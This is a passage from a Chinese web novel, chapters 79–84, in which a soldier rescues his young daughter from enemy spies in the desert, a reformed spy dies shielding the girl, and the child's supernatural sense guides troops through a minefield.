直到这时,沈若文才感觉到脸上和身上传来的钻心疼痛。但她笑着摇头,按住甜甜的小手:“不疼,等我们找到爸爸,一切就都好了。”
另一边,严世君终于费劲地抠出了引爆器。
然而,屏幕上代表连接的指示灯已然熄灭。他疯狂按动按钮,毫无反应。
“操!”他怒骂一声,将引爆器狠狠摔在车窗上。
透过被雨水模糊的车窗,他最后看到的,是蛇群环伺中,相拥的沈若文和甜甜,以及地上那摊被雨水泡烂的**。
“走!”严世君从牙缝里挤出一个字,面色铁青。
高衍舟不甘心地瞥了一眼身后那诡异又可怖的画面,恨恨地转动方向盘。
吉普车油门呼啸,朝着沙漠深处疾驰而去。
很快消失在茫茫雨帘之后。
大雨在他们离开之后,仅仅又持续了几分钟,随后便毫无征兆地停了。
天空放晴,红日重现,沙地上升腾起薄薄的水汽,仿佛刚才那场惊心动魄的生死劫难,不过是一场幻梦。
沈若文终于将最后一段湿漉漉的绳子从甜甜身上摘下,长舒了一口气。
身旁传来“簌簌”的声响。那些眼镜蛇似乎确认了危机解除,开始缓缓游动,一条接一条地潜入沙土之中。
只留下两具被雨水泡得惨不忍睹的尸体,无声诉说着方才的真实与残酷。
沈若文用湿透的手帕,小心翼翼地擦拭甜甜脸上的水渍和泥污。甜甜在她轻柔的动作中几乎要睡着了,劫后余生的松懈感包裹着她。
就在这时——
“嗡——!!!”
熟悉的汽车引擎声再次撕裂了沙漠的平静,由远及近,迅速逼近!
那声音像一根尖刺瞬间扎醒甜甜昏沉的意识!她猛地睁开眼,大眼睛里升起残余的恐惧。
沈若文则浑身一僵,一股寒意从脚底直冲上来!
没有丝毫犹豫,她一把抱起甜甜,转身朝着实验场的方向夺命狂奔,在她身后,死亡的阴影如同附骨之蛆,再次狞笑着扑袭而来!
可就算她拼尽全力,又如何能逃得过四个轮子!
耳听得汽车声越来越近,沈若文心急如焚,只能拼命把甜甜往前一推,自己回身张开双臂。
之前的配枪已经被高衍舟缴了,现在她没有任何武器,唯剩这一具血肉之躯。
“甜甜,快逃!”她嘶声大喊,近乎破音。
甜甜只跑出两步,像是感应到了身后的危机,惊呼回头:“沈阿姨,我们一起……”
“来不及了!”沈若文厉声打断。
汽车的轮廓已清晰浮现。破碎的挡风玻璃后,一张狰狞的脸抬了起来,眼中爆闪着亡命徒的凶光。
正是吴浩!
此前遭遇军方伏击,他的同伙尽数被击毙,唯有他拼死突围,抢了这辆车一路逃窜至此。
他本来以为,经过这么久的拖延,严世君和高衍舟早已炸毁了实验场,再不济也该挟持甜甜闯进去,他正好来收尾。
可追到这里才发现,沙地上多了两具自己人的尸体,严、高二人不见踪影,只剩沈若文带着甜甜在逃命。
这两个**,居然还没死?
吴浩怒不可遏,心中只有一个念头:先杀了她们,再做其他打算!
见沈若文手无寸铁拦在车前,身后就是那个被重点保护的小丫头,他唇角勾起一抹残忍的笑
好啊,既然自寻死路,就别怪他心狠手辣!
他右手稳住方向盘,半个身子从车窗探出,左手已握好了枪。瞄准、抬臂,指尖即将扣下**——
“砰!”
一道破空声自身后骤然袭来,这一枪射速快得惊人,后发先至,精准命中他手中的**!
“呃!”吴浩闷哼一声,手腕被震得剧痛,**脱手飞出。
他百忙中回头一看,只见远处沙尘滚滚,一辆军用牌照的吉普车如出闸猛
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虎般,带着石破天惊之势疾驰而来。
行踪暴露了!
吴浩瞳孔骤缩,来不及细想,一脚油门踩到底,车头径直朝沈若文和甜甜撞去。
就算死,老子也要拉几个垫背的!
可他刚发动汽车,身后吉普的车窗里已探出一挺**。
“哒哒哒哒——”一连串毫不迟疑的点射,尽数命中左侧后轮。
“噗嗤——”
轮胎瞬间漏气,车身一歪,重重陷进沙地。
“该死!”吴浩怒骂。对方枪法又快又准,他已隐约猜到是谁。
眼下唯有挟持人质才有一线生机!
他拼着浑身伤痛,猛地踹开车门,常年训练的身体素质在此刻爆发。半空一个虎扑翻滚,身子腾空而起。
借着纵跃之力一个翻滚,人已经落在沙地上,距离沈若文不过短短七八步的距离!
他甚至能从对方的瞳孔中,看到自己狰狞的倒影。
而被她推开的甜甜,早已在**中转身,眼睁睁看着这一幕。
当看到吴浩像失控的野兽般扑向沈若文时,甜甜雪白的小脸霎时变色,想也不想便尖声喊道:“蛇!蛇!快咬他!”
这呼喊声太过突兀,吴浩动作骤然一僵,所有攻势都慢了半拍。
就在这间不容发的瞬间——
“砰!”
一声枪响在他脚边炸开!吴浩惊得一缩,哪里还顾得上沈若文,就地缩肩翻滚躲避。
也就是这片刻功夫,身后的军用吉普已疾驰而至!
副驾驶车门“哐当”一声被撞开,一道身影不等汽车停稳,纵身跃下,动作矫健如苍鹰搏兔。
人在半空,如泰山压顶,不等吴浩从地上爬起,一记饱含怒火的铁拳已狠狠砸中他面门!
“噗——”
这一拳力道千钧,吴浩的头猛地向后仰去,鼻血瞬间喷涌而出,惨叫声随血花一同迸发。
来人根本不给他反抗的机会,第二拳自下而上兜住他的下巴。
吴浩的惨呼戛然而止,舌尖被牙齿咬破,嘴角溢出腥甜的血沫。
“你——”
他怒极,攒起最后一丝力气想挥拳反击,对方却一记雷霆般的窝心脚,将他狠狠蹬飞出去!
这三招行云流水,吴浩竟毫无还手之力!
他又惊又怒,眼中闪过凶光,顺势摸出裤管里的防身**,嘶吼着扑了上去:“老子和你拼了!”
而站在他面前的男人,依旧赤手空拳。
“爸爸——!!!”
一声稚嫩的呼喊骤然响起,带着极致的焦急与依赖。甜甜终于看清,那个如天神般降临、三拳两脚便将恶徒打得毫无还手之力的人,正是她的爸爸!
第80章 拳拳到肉!暴怒爹复仇!吴浩濒死扑杀萌娃
梁哲身子一颤。
他早已瞥见女儿,可生死倏关根本无暇分心,没想到女儿先认出了他。
铁血硬汉在这一刻也不禁泪目,梁哲心中一酸,声音嘶哑。
“甜甜……”
“梁团小心!”沈若文急忙示警!
吴浩趁着梁哲分神的间隙,猱身扑上,**寒光直刺梁哲心口!
梁哲眼神一厉,左手如铁钳般反手架住吴浩持刀手腕,右拳凝聚全身力量,雷霆万钧般轰向其胸口!
“咯啦——”
肋骨断裂的声音清晰响起。
“啊——!!”
吴浩发出非人惨叫,**脱手飞出。
梁哲顺势脚下一绊,吴浩重重摔在沙地上,溅起一片沙尘。
梁哲不给她任何喘息的机会,纵身扑上,拳头如雨点般砸在他脸上。
“这一拳,替邢嫂报仇!”
“这一拳,替基地战友!”
“这一拳,替我女儿!”
每一拳都蕴含着滔天的愤怒,吴浩被打得发出杀猪般的惨叫,整张脸青肿变形,惨不忍睹。
“梁团!梁团!”宋大壮跳下车,见梁哲状若疯魔,双眼赤红,一副杀红了眼的模样,顿时大惊。
他和梁哲是多年战友,一同从生死战场上退下来,却极少见他如此暴怒失控。
甜甜的失踪牵动着基地所有人的心,更何况是视女如命的梁哲。
他理解这份怒火,可再打下去,吴浩就得当场毙命。
“够了梁团!把他交给我!”宋大壮急忙按住梁哲的肩头,急声道,“去看看甜甜!她还在等你!”
“甜甜”二字宛如一缕清泉,浇熄了梁哲部分怒火。他动作一滞,悬在半空的拳头缓缓落下,如梦初醒般转过头。
宋大壮顺势拉开他,朝身后一指。
不远处,小小的身影哽咽着站在那里,向他伸出细瘦的小手,声音微弱又委屈:“爸爸……抱,抱抱……”
梁哲的心,在这一刻被彻底撕碎了!
那个他捧在手心、悉心呵护,连大声说话都舍不得的小奶团子,此刻浑身湿漉漉的,头发凌乱如枯草,衣服上沾满了泥沙和水渍,小脸上布满灰渍,还挂着未干的泪痕。
这是他的命啊!这些混蛋,怎么敢这么欺负她!
“甜甜!爸爸来了!”梁哲什么都顾不上了,几个箭步冲过去,一把将女儿紧紧搂进怀里。
那小小软软的身子嵌入臂弯,瞬间填满了他所有的恐惧与空洞。
七尺男儿,头埋在**瘦小的肩头,狼狈地大哭起来。
“甜甜,你怎么样,受没受伤,他们有没有欺负你……”
他语无伦次,捧着女儿的小脸细细查看,生怕漏掉一丝伤痕。
甜甜窝在爸爸温暖的怀里,如同雏鸟终于回到了温暖的巢穴,之前所有强忍的恐惧和委屈轰然决堤,“哇”的一声大哭起来:
“爸爸,爸爸,你终于来救甜甜啦!”
“他们坏,关甜甜小黑屋,不给甜甜吃饭饭!”
“他们还给甜甜绑药药,要杀甜甜!”
女儿每控诉一句,梁哲的心就更碎裂一分。痛恨、后怕、心疼、暴怒……种种情绪烈火般灼烧着他的五脏六腑!
他猛地抱起甜甜,转身大步走向被宋大壮制住的吴浩!
吴浩经过刚才一阵痛揍,已经被打得像块破麻袋,浑身多处骨折,脸上也血肉模糊,如同开了杂货铺。
宋大壮也毫不留情,上前拎起他,抽出腰间的皮带,狠狠捆住他的双手。
“大壮闪开!”
梁哲怒喝一声,上去猛然一脚,将吴浩重新踹翻在地。
“呼呼……”吴浩眼白上翻,痛苦抽搐,张着口徒劳地喘气。
“畜生!”梁哲目眦欲裂,指着他痛骂,“对一个三岁的孩子,你们怎么下得去手!”
吴浩嘴角全是血沫,眼神却依然凶狠怨毒,毫无半点悔意。
“混蛋——”
梁哲抬脚还要踹,被宋大壮急忙拦住。
“梁团!冷静!留着他还有用,别真打**!”宋大壮急忙拉住梁哲,转头看向甜甜,心疼地摸了摸她的小脸,“宝贝,让你受苦了。幸好你没事,不然你爹真能把这沙漠都翻过来。”
甜甜小手紧紧挂在父亲脖子上,奶声奶气地说:“是沈阿姨救了甜甜。”
“沈阿姨?”
梁哲和宋大壮这才想起,同时转头望去。
方才他们满心都是甜甜,竟没留意到沈若文。视线交汇的瞬间,沈若文下意识地低下头,避开了他们的注视。
她身份尴尬,本想在梁哲救下甜甜后默默离开,可方才为了拦车,她用力过猛,崴伤了脚踝。说来讽刺,当初她以崴脚为借口留在基地,如今再次见到梁哲,却是真的受了伤。
甜甜见她不语,从梁哲怀里挣出来,跑过去拉住她的手:“沈阿姨,我爸爸来救咱们了!”
孩子眼中的欢喜纯粹又明亮,沈若文看得心头莫名一酸。她俯下身,摸了摸她的小脑袋,柔声道:“太好了,甜甜可以和爸爸回家了。”
“沈阿姨不和我们一起走吗?”甜甜眨着大眼睛,满脸不解。
“阿姨就不去了。”沈若文抬起眸子,向梁哲歉意一笑,“当然,我是戴罪之身,梁团长若是要审问,我也没有异议。”
“沈记者,这到底是怎么回事?”梁哲没有开口,宋大壮忍不住追问。
沈若文犹豫片刻,还是摇了摇头:“抱歉,恕我不能直言。你们抓到了吴浩,可以问他。”
“沈若文,你这个**!为了攀高枝背叛组织,站长绝不会放过你!”吴浩缓过一口气,破口大骂。
沈
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若文脸色一白,随即又涨得通红。她不愿与吴浩争辩,冲甜甜笑了笑,转身就要离开。
可刚走两步,脚踝处传来钻心的疼痛,她身子一踉跄,险些跌倒。
“沈阿姨!”甜甜急忙跑过去,用小小的身子扶住她,转头朝梁哲大喊,“爸爸,沈阿姨受伤了!”
梁哲这才看清,沈若文的脚踝已经红肿不堪。
沈若文更觉尴尬,连忙道:“我没事……”
话音未落,梁哲已走到她面前,抬手敬了个军礼。
“沈记者,我以甜甜父亲的名义,感谢你的援手。即便你曾误入歧途,我们仍欢迎你回归正途。请和我们一起回基地吧。”
沈若文眼中闪过一抹凄然,想起还在“灰雀”手中的妹妹,无奈地摇了摇头。
“抱歉,梁团长,感谢你的好意,但我与你们,终究不是一路人。”
她顿了顿,再次强调:“就算你们要逮捕我,审讯我,我也什么都不会说的。”
“你误会了。”梁哲轻声道:“我们只想先为你治伤。之后是去是留,尊重你的选择。”
沈若文迟疑了。她如今的状态,根本走不出这片戈壁,而高衍舟二人,也绝不会放过她。
梁哲见她意动,便转过身,微微蹲低身子:“我背你。”
看着他宽阔而坚实的后背,沈若文心底挣扎不已。
“沈阿姨,沈阿姨!”甜甜拉着她的手,“你的脚肿了,痛痛,和我一起回去吧。”
幼童眼中饱含的依赖,让她想起了年幼的妹妹。沈若文终究不忍拒绝,轻轻点了点头。
“好吧。不过梁团长,一旦我能独立行走,还是会离开。若是你们不同意,我现在就走。”
“当然,”梁哲点头,“只要你不再威胁基地安全,我们永远尊重你的选择。”
沈若文这才放下心,轻轻趴在了梁哲的背上。这是他第二次背她,只是这一次,她早已没了当初刻意接近的心思,只是松松地搂着他的脖子,保持着距离。
梁哲稳稳托住她的腿弯,对甜甜道:“宝贝,咱们上车,回基地。”
“好!回家喽!”甜甜破涕为笑,开心地拍着小手,雀跃地跟在爸爸身边。
先前所有的委屈,在见到爸爸的那一刻,仿佛都被治愈了。
宋大壮在最后押着吴浩。吴浩勉强拖着伤腿,一步一挪地艰难前行。
一行人很快来到吉普车前。梁哲打算先把沈若文送进副驾驶,再让甜甜坐在她怀里,自己则在后排看管吴浩。
他刚拉开车门,异变陡生!
被宋大壮按住肩膀的吴浩突然爆发出一股凶悍蛮力,猛地一甩,竟从宋大壮手中挣脱开来!
他拼着最后一丝凶悍,抬手抽出领口藏着的一枚长针,几个大步助跑,径直朝着甜甜心口扎去!
第81章 血溅黄沙!沈若文救甜甜牺牲,梁哲誓死追凶
谁也没料到,这个浑身是伤、双手被缚的人,竟还能发动攻击!
梁哲离得最远,阻拦已来不及!
宋大壮紧急拔枪,却还是慢了半拍!
甜甜听到动静转过身,可在这电光火石的瞬间,她根本没有躲闪的余地!
千钧一发——
伏在梁哲背上的沈若文猛地回身,拼尽全身力气,一把将甜甜推开。
而她自己却因用力过猛,失了平衡,眼睁睁看着那枚尖针,一寸寸扎进了她的心口。
冰凉!
尖锐!
疼痛瞬间席卷全身!
砰!”
宋大壮的**终于响起,**穿透吴浩的后心。吴浩身子晃了晃,脸上凝固着得逞的狞笑,轰然倒地。
他最后看向沈若文的眼神,充满残忍的快意。
“王八蛋!”宋大壮怒不可遏,扑上去对着他的后背又连开两枪。吴浩徒劳地抽搐了几下,身子一僵,彻底没了气息。
“沈阿姨!”被推开的甜甜哭叫着扑上来,却根本接不住沈若文倒下的身体。梁哲及时冲过去,伸臂将她揽住。
触手之处,一片滚烫的湿濡——那是她的血。
“沈记者!”
梁哲的心脏像是被一只无形的手狠狠攥住,痛得几乎无法呼吸。
沈若文的脸色苍白得像一张纸,嘴唇失去了所有血色。她艰难地睁开眼,视线已经开始模糊,却还是费力地寻找着甜甜的身影。
当看到甜甜安然无恙地站在自己身旁时,唇边勾起一抹极其虚弱又释然的微笑。
“甜……甜甜……”她的声音气若游丝,每说一个字都要耗费巨大的力气,“不……不怕……”
甜甜哭着去捂她胸口的伤口,可鲜血却从她的指缝中不断涌出,染红了她的小手。“沈阿姨!你别有事!呜呜呜……我让孙爷爷救你!我们回家,我们一起回家……”
幼童的哭声撕心裂肺,反复撕裂着在场每个人的心。
沈若文看着甜甜哭得通红的小脸,眼中闪过一丝心疼,她想抬起手摸摸甜甜的头,可手臂重若千斤,只微微动了动,便无力地垂下。
“没……用的……”她轻轻摇了摇头,呼吸越来越微弱。生命正在从她的身体里快速流逝,冰冷的感觉渐渐包裹了她,可她的眼神却异常清明。
她想起了远在台岛的妹妹,想起了自己加入“灰雀”组织的初衷,想起了这一路上的挣扎与抉择。
或许,从一开始,她的结局就早已注定。但能在最后救下这个无辜的孩子,能为自己的信仰做最后一点事,她不后悔。
“都怪我!”宋大壮狠狠抽了自己一个耳光,满脸悔恨:“是我没看好那个畜生!沈记者,我对不起你!”
如果当时他能再小心一点,如果他能早点发现吴浩藏着的尖针,这一切或许就不会发生。
沈若文的目光最终落在了梁哲身上。她看着这个两次背过自己的男人,眼中闪过一丝复杂的情绪。
有感激,有歉意,还有一丝说不清道不明的释然。“梁……梁团长……”
“我在!”梁哲抄起她的腿弯,想要将她抱上车。“沈记者,你别说话,我们马上回基地!孙军医一定有办法!”
他能感觉到怀中的人在一点点变冷,这种无力感让他几近崩溃。
淑芬已经离开了甜甜,他绝不能再让另一个人为甜甜牺牲。
“我不怪……任何人……”沈若文艰难地说,呼吸越来越浅,“甜……甜甜……要……要好好长大……造……**……”
这是她最后的心愿,也是她对这个世界最后的期许。
甜甜说得对,只有变强,才能不被欺负,才能守护自己想守护的人。她没能亲眼看到那一天,但还有甜甜,还有无数像甜甜一样的孩子……
她们是未来,是希望。
恍惚间,她仿佛看到了远在台岛的妹妹,正隔着海峡,朝她微笑。
沈若文唇边掠过一丝释然,缓缓地,闭上了眼睛。
黄沙寂寂,吞噬了最后的余温。
“沈阿姨……沈阿姨?”甜甜不甘心
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,还在拼命摇着她冰冷的手,哭声越来越沙哑,“你快醒醒,不要睡!”
梁哲抱着沈若文的身体,浑身僵硬。
他低头看着怀中女子苍白的脸,脑海里不断回放着她推开甜甜的那一幕——毫不犹豫,奋不顾身。
这个曾经误入歧途的女人,用自己的生命,完成了最壮烈的救赎。
“梁团……”宋大壮站在一旁,眼眶通红,声音哽咽。他知道,梁哲此刻的心情,比自己更难受。
梁哲深吸一口气,小心翼翼地将沈若文放平在沙地上,脱下自己的外套,轻轻盖在她身上,遮住了那触目惊心的伤口。
他站起身,走到甜甜身边,将哭得上气不接下气的女儿紧紧搂进怀里,尽量平静地安抚.
“甜甜,沈阿姨……睡着了。她是英雄,是为了救你才睡着的。”
甜甜似懂非懂,小脑袋靠在梁哲怀里,泪水打湿了他的衣襟:“爸爸骗人,沈阿姨和妈妈一样睡着了,再也不能和甜甜回家了。”
梁哲的心像被刀割过一样疼,他轻轻拍着女儿的背,没有开口。
有些离别,太过沉重,他无法用三岁孩子能理解的语言去解释。
“先把沈记者的遗体抬上车。”梁哲抹去眼中的泪水,“吴浩的尸体也带上,回基地后交由上级处理。”
宋大壮点点头,强忍着悲痛,和梁哲一起将沈若文的遗体安置在吉普车后座,用安全带固定好。
再将吴浩的尸体裹上帆布,塞进后备箱。
做完这一切,两人都沉默着,车厢里只剩下甜甜的啜泣声和汽车轧过沙土的杂音。
正在这时,车载电台忽然传出滋滋电流声,梁哲伸手抓起,通信兵的声音急促道:“报告团长,发现目标踪迹,请指示!”
“在哪?!”
梁哲一扫方才的颓靡神情,眼中闪过军人的铁血与决绝。
高衍舟,终于找到你了!
通信兵报出方位,宋大壮方向盘使劲一拧,汽车在沙地上一个摆尾,向着远方呼啸而去。
第82章 深夜陷阱?投降还是同归于尽,疯子最后一搏
夜幕四合,明月如霜。
无垠的星子像细碎的宝石,缀满漆黑的天幕。
广袤的沙漠之夜,悄然降临。
时间指向夜里七点四十一分。再过不到二十分钟,接应的直升机将跨过边境,按预定计划方位接他们撤离。
高衍舟熄了火,倚在车门边,目光幽幽望向天际。
严世君盘膝坐在他对面,裹着厚重军大衣,一根接一根抽着烟。
倏地,一丝异样的声响自远方传来。
起初微弱,渐渐越来越响,几道雪亮的光柱撕开夜幕,自蘑菇石后方疾射而来。
“妈的!”
严世君豁然起身,刺目的光柱下,几道憧憧黑影如出击的猎豹,如暗夜猎豹,直扑此地!
高衍舟脸色骤沉,一把拉开车门:“副站长,快!”
严世君纵身跳入车中,不死心地问:“怎么暴露的?”
“不知道。”
高衍舟匆匆回了一句,手指刚搭在点火开关上,严世君抬手按住他手腕。
“关灯!”
黑夜中开启夜视灯,无异于让自己变成活靶子。
高衍舟眼神一凛,依言掐灭光源。汽车如离弦之箭窜出蘑菇石的阴影,专拣荒僻路径亡命狂奔。
可他低估了对方的准备,刚绕过一处沙丘,迎面又是两道雪亮车灯,恰好堵住了他们的去路。
“高衍舟,投降吧,你们被包围了!”
对方的声音透过扩音喇叭远远传了出来,在这万籁俱寂的沙漠中,听来清晰又刺耳。
高衍舟绷紧下颌线,一言不发。
“往那边开!”
严世君急中生智,指着另一侧沙路大喊。
岂料驶出不远,依然陷入对方包围之内。
“**!”
高衍舟狠狠一敲方向盘,看来对方早已布下天罗地网,就在等他们投进去。
“副站长,怎么办?”
严世君看看腕表,距约定时间仅剩十五分钟。可即便直升机准时到来,在如此密集的火力封锁下,他们也根本没有登机的可能。
“我们输了。”
他颓然摇头,深深叹了口气。
“投降吧,高组长。”
“不可能!”
高衍舟想也没想,断然拒绝!
“那你还有什么办法,现在四面八方都是人!我们根本逃不掉。”
“你怕死吗?”高衍舟忽然转头,恶狠狠地问。
严世君心头一凛:“你……什么意思?”
“副站长,”高衍舟唇角勾起一抹阴狠的冷笑,“你忘了,我们还有一件杀器没用。”
电光火石间,严世君脸色瞬间惨白,他几乎立刻明白了高衍舟指的是什么。
“你疯了?我们进去也是死路一条!”
“总得拉几个陪葬的!”
高衍舟眼中寒芒暴涨,“十几辆车,几十条人命,换咱俩,值了!”
“……”
严世君哑口无言,心底升起一阵寒意。眼前这个男人,到底是怎样的恶魔,才会行事如此极端,宁死也要拉一群人垫背?
“老高,”他放缓了语气,换了个亲昵的称呼,试图劝说:“你听我说,一时的投降不是认输,是为了积蓄力量,只要活着,未必不能东山再起。”
“咱们还有机会,一时的投降是为了积蓄更多的力量,只要活着,未必不能东山再起。”
“活着?”高衍舟嗤笑一声,“你以为,他们会让我们活着?”
“优待俘虏是他们的政策!”
“哦?”高衍舟挑眉,“你打算把组织的所有秘密,都交代给他们?”
一句话成功噎住严世君。
“万洪辛被抓后迟迟不敢招,你猜为什么?”
严世君不语。
“因为他的私生子,就在组织手里!”
高衍舟冷笑道:“姓万的这辈子什么都是假的,只有那个鹰国女人生的孩子是真的,他只要多说一个字,组织就能让他儿子死无全尸。”
严世君听着他平淡无波的语调,只觉得一股寒意直窜头顶,忍不住打了个冷战。
“据我所知,严副站长,你的家小也在组织手里吧,你那位娇妻幼子,要是知道你投降叛变,你猜猜会有什么后果?”
严世君浑身僵硬,冷汗瞬间浸透后背。
他当然清楚,组织在选人之时,总会精准掐中每个人的软肋,以防反水倒戈。真正毫无顾忌能豁出一切的,恐怕只有高衍舟这个疯子。
“不,其实,我也有把柄在他们手上。”
高衍舟像是看穿了他的心思,涩然一笑。
“我曾经,利用自己的地质学知识,在勘探过程中,害**几个有红色身份的人。”
“这件事,被组织知道了,所以我一旦投降,只有死路一条。”
严世君震惊地望着
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他,眼前这个外表平平无奇的男人,骨子里竟然藏着这样的恶魔本性。
“所以严副站长,你的决定是?”
严世君望着眼前黑幢幢的沙路,回荡着四面八方的追击声,一道道车灯像利剑般刺得他体无完肤。
“我……”沉默了许久,他终于做出了此生最艰难,也或许是最后的决定,
“……听衍舟你的。”
“好!”
高衍舟眼底掠过一丝癫狂的兴奋,猛地一打方向盘,吉普车咆哮着冲向一条幽深莫测的路径!
身后追击的车队上,宋大壮紧紧握着方向盘,燃烧着怒火的双眼在暗夜中宛如鹰隼,锐利地锁定着前方的车影,
他身旁,梁哲抱着甜甜,小姑娘小小的身子微微紧绷,小手坚定地指着一个方向——
纵然夜色浓稠如墨,她的目光也仿佛能穿透黑暗,牢牢锁定住前方逃窜的车辆。
电台里,不断传来通信兵的报告,以梁哲为中心,一张无形大网正收拢,封死高衍舟所有可能的逃生路线。
唯有一个口子,是他们特意,也必须留出来的。
行军蚁群的领地!
在亲眼见识到行军蚁巨大的杀伤力后,所有人自觉让出那条路,再也不敢靠近,但奇怪的是,从通信兵的汇报来看,高衍舟他们似乎正朝着那个方向逃窜。
“梁团,这不对呀。”
宋大壮一边把控方向,一边疑惑不解:“高衍舟那混蛋,不可能不知道行军蚁的厉害,他怎么会往这个方向逃?”
话音未落,白旅长的声音便从对讲机里传来,“梁哲,小心行事,对方很可能故意为之,想把我们引向蚁群。”
梁哲接过对讲机,“旅长,如果是蚁群,他们有可能先遭遇,因为行军蚁是流动的,我们还没进入,他们已经先陷进去了。”
“不排除对方丧心病狂,以自己为饵。”白旅长冷静道:“保持车速,不要靠太近,密切观察动向。”
“是!”
车队继续追踪,几分钟后,已经能隐约看到高衍舟车辆的轮廓,两车之间的距离,也在不断拉近。
“大壮,别跟太紧。”
梁哲从望远镜里仔细观察,并没有发现地上有典型的沙漏状陷坑标记。
正在疑惑不定时,甜甜忽然身子一颤,小手猛地抓紧梁哲!
“爸爸,停车!快停车!”
第83章 雷区惊魂!萌宝再立新功,敌特自掘坟墓!
宋大壮高度紧绷的神经在听到甜甜开口的瞬间,立刻反应过来,一脚踩向刹车。
梁哲也毫不迟疑,立刻抓起对讲机,“全体注意!减速停车!”
训练有素的车队立刻齐刷刷暂停。
白旅长凝重的声音响起,“梁哲,怎么回事!”
“报告旅长,甜甜有发现。”
白旅长瞬间沉寂下来,显然也屏住了呼吸。
自从梁哲救回女儿,这小姑娘就像是这条追击路上的小雷达,再配上电台定位与空中侦察,他们才能如此快速地锁定高衍舟的踪迹。
“闺女,你看到了什么?”梁哲紧张地问。
甜甜溜下梁哲的腿,站在风档玻璃前。那双黑夜里宛如盛着星子的眼睛,紧紧盯着前方的沙地,嘴唇轻轻抿紧,神色认真。
片刻后,她小声说:“爸爸,地下有黑黑的、热热的,红红的东西。”
“黑黑的、热热的?”宋大壮满脸不解。
梁哲也皱起了眉头。一边思索着甜甜的话,一边耐心引导:“宝贝,再跟爸爸说说,那黑黑的东西,是什么样子的?”
“就是……”甜甜歪着小脑袋,仔细思索了片刻,伸出小手,比出一个圆圆的形状,“像个皮球,轰轰轰。”
梁哲眉心剧烈一跳,几乎立刻反应过来,“是**!宝贝,是不是会炸响的**?”
甜甜虽然没听过“**”这个词,却立刻明白了爸爸的意思。
她用力点了点头,“嗯,爸爸,会响的,就像他们之前给甜甜绑的‘药药’一样,‘轰轰轰’地响。”
梁哲一把抓起电台,语气急切:“全体注意,前方发现**区,立即原地待命,严禁擅自前进!”
“确认吗?”白旅长声音严肃。
“甜甜亲口说的,球形,会**。”
“那错不了。”白旅长对甜甜的能力深信不疑,只要给小姑娘接触土地的机会,她就会爆发出神奇的本领。
“各单位原地待命,没有允许不许前进,工兵呢,把工兵调过来。”
自从发现行军蚁群,追击队伍中便特意加入了工兵班。班长在电台里应了一声,正准备下车,甜甜忽然开口,指着另一侧的沙路:“爸爸,往那边开!”
自从发现了蚁群,这次的追击队伍中就加入了工兵。工兵班长应了一声,刚要下车上前,甜甜叫道:“爸爸,往那里开!”
宋大壮一愣,重复道、怔,“宝贝,确定那条道安全?”
甜甜用力点头,“那里,没有黑黑的。”
“行,叔叔听你的。”宋大壮点点头,一边转动方向盘,一边喃喃自语,“高衍舟这孙子,到底打的什么主意?为什么要往**区开?难道是想把我们引进去,同归于尽?”
“很有可能,这些**说不定也是他们布置的。”
“这帮畜生,不要命了吗?”
宋大壮无法理解这种同归于尽的疯狂。转念一想,又擦了把冷汗。
“梁团,你说悬不悬,要不是来时那群行军蚁挡道,咱们还没有甜甜,可能真就趟进雷区了。”
梁哲默默点头,心里也庆幸不已。
幸好先遭遇到了行军蚁,给大家提了醒,否则贸然前进,踏入致命雷区,后果不堪设想。
车队沿着甜甜指示的路线,小心翼翼地前行。小姑娘不时指着前方:“那块石头,叔叔,从那走”
“小草那里不能碰哦。”
“有坑,大壮叔叔,开过去。”
全程按照甜甜的指引,车队一路顺畅,没有遇到丝毫危险,更没有触发任何一颗**。
前方,高衍舟也减缓车速,在严世君指挥下前进。
他们现在已经深入雷区腹地,这片**铺得极密,稍有不慎,都会引发**,可奇怪的是,直到此刻,也迟迟听不到**声响起。
“**,奇了怪了!”
严世君从后视镜里望去,能隐约看到身后的车队排成长龙,正在雷区中顺畅穿行。
黑夜中他们明明很难分辩车辄印,为什么至今也没轧到**?
“邪门!真**邪门!”严世君百思不得其解。
忽然,他像是想到了什么,转头看向高衍舟,“老高,基地里的水和鱼,埋在地下那么深,他们是怎么找到的?”
高衍舟紧抿双唇,一言不发。其实,一个惊世骇俗的念头,早已在他心底盘旋许久,只是迟迟没有得到证实,他也不敢轻易相信。
“不会是……那个小丫头,真的能看见地下的东西吧?”严世君犹豫了许久,还是说出了自己的猜测。
想起在基地时见到的种种异象,高衍舟心中的答案也愈发清晰。他冷哼一声,“我只后悔,当初没早点杀了那个小丫头,留着她,终究是个祸患。”
“既然这样,”严世君满脸震惊,语气里带着几分慌乱,“那他们就更不可能踩中**了!”
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“老高,收手吧,我们赢不了的,再这样下去,只会白白送死!”
“那就把所有雷都引爆!”高衍舟恶狠狠地说,“把他们全炸上天!”
“你疯了!”严世君急忙劝阻,“所有**都引爆需要挂弦,到时牵一发而动全身,咱们也没有活路了!”
“怎么,副站长怕了?”高衍舟语气冰冷,“还是连挂弦的位置都记不得了?”
严世君无语,他当然记得挂弦的位置,可他更清楚,一旦动手,就等于亲手把自己炸成了碎片,那种滋味,他想都不敢想。
可看着高衍舟那疯狂的模样,他又深深明白,自己此刻,根本没得选。
正迟疑间,身后的车灯渐渐逼近,有了甜甜的指引,军队的追击速度反而更快了。
“高衍舟,你们已经无路可逃了,放下武器,投降自首,争取宽大处理!”
“顽固抵抗,只有死路一条!”
“副站长!”高衍舟扭过头,“你还等什么?!”
前无去路,后有追兵,
严世君脑海中妻儿的音容与组织酷刑交织翻腾,最终,还是恐惧了压倒一切。
以身殒命,换家人平安,值了!
“往前开,在那棵梭梭树下。”
他抬手一指,声音里带着破釜沉舟的决绝!
高衍舟眼底闪过一丝狠厉,毫不犹豫调转方向盘!
“爸爸,他们去做坏事了!”
不远处,甜甜敏锐地发现对方车辆的动向,那里地下埋着条弯曲线,只要搭上勾子,就会‘轰轰’响!
“爸爸,不能让他们过去。”
梁哲一咬牙,飞快抄起电台,“报告旅长,甜甜判断对方有危险性举动,能否击毙,请指示!”
白旅长有些迟疑,现在他们手上已经没有敌特活口了,若是能活捉严世君和高衍舟,或许能从他们口中,套出更多组织的秘密。
不过现在看来,留下的风险太大,他必须优先保证所有人的安全。
“见机行事,必要时,同意击毙。”
“是!”
得到旅长的授权,梁哲摘下**,正要准备瞄准,甜甜忽然一把按住了他的手。
“爸爸等一下!”
梁哲动作一顿,“怎么了?”
甜甜歪过小脑袋,目光掠过高衍舟的汽车,随后看向树下。
“爸爸,”她的大眼睛眨了眨,轻声说,“不用开枪了,大坏蛋们,会被吃掉的。”
第84章 自食恶果!想引爆雷区,反遭万蚁啃骨!
